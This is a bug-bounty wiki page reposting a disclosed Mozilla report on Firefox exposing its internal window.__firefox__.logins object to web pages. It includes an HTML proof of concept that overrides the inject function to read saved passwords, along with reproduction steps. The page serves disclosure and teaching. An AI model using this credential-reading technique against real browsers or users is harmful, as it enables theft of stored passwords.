Skip to content
Info disclosure Disclosed report Intermediate

'window.__firefox__.logins.inject' object is exposed to the web pages which may cause security problem

The Firefox browser exposes a privileged object to web pages, allowing a malicious page to override a function and read saved login credentials. An attacker could steal usernames and passwords for a site if the user has saved them.

martinzhou96 Follow

Originally disclosed on Mozilla

  • Fixed in 21 days
  • Paid in 43 days
  • Disclosed after 21 days
Text
User Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36

Steps to reproduce:

Here is the PoC:

<html>
<body onload='window.__firefox__.logins.inject=function(msg) {
    try {
	var value =  msg.logins[0].password;
	alert("Your First Username is:" + value);
	var value =  msg.logins[1].password;
	alert("Your Second Username is:" + value);
	var obj = msg.logins;
function lookProperty(obj){var ob=eval(obj);var property="";for(var p in ob){property+=p+"\n";}alert(property);
};lookProperty(obj);
    if(LoginManagerContent.receiveMessage(msg)){alert("Success");}else{alert("Failed");};
    } catch(ex) {
	alert(ex);
    }
  };'>	

<form action="http://www.qq.com" method="GET">
            <input name="username" autofocus />
            <input name="password" type="password"/>
<input title="submit_btn" type="submit" value="Submit"/>
</form>
</body>
<html>


Actual results:

I'm not very sure about this. Whether it's a bug or a normal feature. Supposing that three accounts of example.org is saved by the login manager. The PoC above could get the all saved username and password automatically. The essence of the problem is the object 'window.__firefox__.logins' is exposed to the web pages. If there is a XSS vul in exaple.org, the attacker could use this feature to steal the user's password and username very easily.

The original report as published on Mozilla's Bugzilla, by martinzhou96. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely, the browser exposes an internal object (window.__firefox__.logins) to web content without proper isolation, allowing scripts to override its methods and access sensitive data.

Impact

An attacker could steal saved usernames and passwords for a site if the user has stored them, and this could be combined with an XSS vulnerability to make theft easier.

What the attacker needed

Firefox browser; Saved logins for the target site; Victim visits malicious page

How it was found

  1. Create an HTML page that overrides window.__firefox__.logins.inject with a function that reads msg.logins.
  2. Include a form with username and password fields to trigger the login manager.
  3. Load the page in Firefox with saved logins for the site.
  4. The overridden function is called and displays the saved passwords.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Firefox has a built-in password manager that stores your logins. This report shows that a website can trick Firefox into giving up those saved passwords by replacing a function that Firefox uses internally. If a user has saved passwords for that site, the attacker could read them.

What is Info disclosure?

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.